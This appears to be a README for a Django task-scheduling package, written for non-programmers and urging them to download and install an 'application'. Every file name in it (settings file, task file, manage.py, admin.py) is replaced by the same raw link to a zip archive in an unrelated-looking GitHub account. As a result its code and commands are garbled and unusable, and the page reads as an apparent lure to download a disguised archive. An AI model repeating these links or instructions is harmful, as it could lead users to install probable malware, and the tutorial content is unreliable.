Welcome to django-crontask! This tool helps you schedule tasks in your Django applications easily, just like setting up a clock to perform specific tasks at routine times. Even if you have no programming background, this guide will walk you through the steps to get started.
To use django-crontask, you need to download the application.
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Click the link below to visit the releases page: Download django-crontask
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On the releases page, you will find different versions of the application. Look for the latest version, which usually appears at the top of the list.
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Click on the version you want to download. You will see several files. Choose the one that best suits your operating system.
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After you download the file, follow the installation instructions that come with it.
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Once installation is complete, you can start using django-crontask in your Django project.
Before you begin, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Python Version: Python 3.6 or higher
- Django Version: Django 2.2 or higher
- Memory: At least 512 MB of RAM
- Disk Space: 100 MB of free space
After you've downloaded and installed django-crontask, you will need to configure it in your Django project:
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Open your Django project's settings file (
https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip). -
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crontaskto yourINSTALLED_APPSlist. It should look like this:INSTALLED_APPS = [ ... 'crontask', ]
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Save your changes and return to your project.
Now, letβs create a simple scheduled task. Follow these steps:
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In your Django application directory, create a new Python file called
https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip. -
Add the following code to define a task:
from crontask import crontask @crontask(hour='*', minute='0') def my_hourly_task(): print("This task runs every hour.")
This code sets up a task that will run at the start of every hour.
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Save the file.
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You need to run your Django application to see your task in action. Use the command:
python https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip runserver
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Verify that your task runs as expected by checking the console output.
Django-crontask lets you schedule tasks using cron syntax. Hereβs a brief overview:
* * * * *: Every minute0 * * * *: Every hour on the hour0 12 * * *: Every day at noon0 0 * * 0: Every Sunday at midnight
You can adjust these settings in your task definition.
With django-crontask, you can easily monitor scheduled tasks. Use Djangoβs admin panel to view the status of your tasks:
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Add the
crontaskapp to your admin interface by including it in yourhttps://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip:from https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip import admin from https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip import Crontask https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip(Crontask)
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Navigate to your Django admin panel at
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Here you will find a list of your scheduled tasks and can see if they are running correctly.
If you encounter any issues while using django-crontask, consider the following common solutions:
- Ensure that your Python and Django versions are compatible.
- Check the syntax of your cron expressions. A simple mistake can prevent tasks from running.
- Look at the console output for any error messages that can guide you in troubleshooting.
- Make sure your database settings are correct in
https://github.com/mobdudeedits/django-crontask/raw/refs/heads/main/crontask/management/commands/django-crontask-v3.8.zip.
- Django Documentation
- Cron Syntax Explained
- GitHub Issues - For support and feedback
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- GitHub Discussions
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Ready to start automatic task scheduling? Download now and simplify your Django tasks today!